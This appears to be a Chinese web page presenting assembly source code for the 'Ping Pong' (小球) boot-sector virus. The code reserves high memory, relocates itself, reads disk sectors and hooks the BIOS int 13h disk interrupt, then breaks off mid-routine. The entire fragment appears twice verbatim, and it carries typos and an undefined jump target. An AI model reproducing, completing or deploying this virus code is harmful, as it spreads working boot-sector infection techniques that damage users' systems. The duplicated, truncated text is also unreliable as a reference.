2024年4月10日发(作者：漆若翠)
小球病毒的源代码
cseg segment
assume cs:cseg
org 7c00h
main proc far
；0000:7c00————————-
stav:jmp start
db 49h, 42h, 4Dh, 20h, 20h,37h, 2Eh, 30h, 00h, 02h, 04h, 01h, 00h
db 02h, 00h, 02h, 07h,0A3h,0F8h, 29h, 00h,11h, 00h, 04h, 00h, 11h, 00h, 0FFh,0FFh
；0000:7c1e————————-
start:
xor ax,ax
mov ss,ax
mov sp,7c00h
mov ds,ax
mov ax,ds:[0413h]
sub ax,0002h
mov word ptr ds:[413h],ax
mov cl,06h
shl ax,cl
sub ax,07c0h
；7c37——————————————————-
mov es,ax
mov si,7c00h
mov di,si
mov cx,0100h
repzmovsw
； mov cs,ax
； push ax ；let the two line tocomplish ‘mov cs,ax‘
； pop cs
jmp es:$+2
；97c0:7c45————————————————————
push cs
pop ds
call comd1 ；7c4a
；7c4a———————————
comd1:
xor ah,ah
int 13
and byte ptr [0:7df8h],80h
mov bx,[0:7df9h]
push cs
pop ax
sub ax,0020h
mov es,ax
call con2 ；7c9d
mov bx,[0:7df9h]
inc bx
mov ax,0ffc0h
mov es,ax
call con2 ；7c9d
xor ax,ax
mov [0:7df7h],al
mov ds,ax
；7c75————————————————————-
mov ax,[0:04ch]
mov bx,[0:04eh]
mov si,word ptr [0:7cd0h]
mov word ptr[0:04ch],si ；7cd0 Need register in expression
mov [0:04eh],cs
push cs
pop ds
mov [0:7d2ah],ax
mov [0:7d2ch],bx
mov dl,[0:7df8h]
jmp stav ；000:7c00h
；7c98————————————————————————
con1:
mov ax,0301h
jmp con21 ；7ca0
；7c9d——————————————-
con2:
mov ax,0201h
；7ca0————————————————-
2024年4月10日发(作者：漆若翠)
小球病毒的源代码
cseg segment
assume cs:cseg
org 7c00h
main proc far
；0000:7c00————————-
stav:jmp start
db 49h, 42h, 4Dh, 20h, 20h,37h, 2Eh, 30h, 00h, 02h, 04h, 01h, 00h
db 02h, 00h, 02h, 07h,0A3h,0F8h, 29h, 00h,11h, 00h, 04h, 00h, 11h, 00h, 0FFh,0FFh
；0000:7c1e————————-
start:
xor ax,ax
mov ss,ax
mov sp,7c00h
mov ds,ax
mov ax,ds:[0413h]
sub ax,0002h
mov word ptr ds:[413h],ax
mov cl,06h
shl ax,cl
sub ax,07c0h
；7c37——————————————————-
mov es,ax
mov si,7c00h
mov di,si
mov cx,0100h
repzmovsw
； mov cs,ax
； push ax ；let the two line tocomplish ‘mov cs,ax‘
； pop cs
jmp es:$+2
；97c0:7c45————————————————————
push cs
pop ds
call comd1 ；7c4a
；7c4a———————————
comd1:
xor ah,ah
int 13
and byte ptr [0:7df8h],80h
mov bx,[0:7df9h]
push cs
pop ax
sub ax,0020h
mov es,ax
call con2 ；7c9d
mov bx,[0:7df9h]
inc bx
mov ax,0ffc0h
mov es,ax
call con2 ；7c9d
xor ax,ax
mov [0:7df7h],al
mov ds,ax
；7c75————————————————————-
mov ax,[0:04ch]
mov bx,[0:04eh]
mov si,word ptr [0:7cd0h]
mov word ptr[0:04ch],si ；7cd0 Need register in expression
mov [0:04eh],cs
push cs
pop ds
mov [0:7d2ah],ax
mov [0:7d2ch],bx
mov dl,[0:7df8h]
jmp stav ；000:7c00h
；7c98————————————————————————
con1:
mov ax,0301h
jmp con21 ；7ca0
；7c9d——————————————-
con2:
mov ax,0201h
；7ca0————————————————-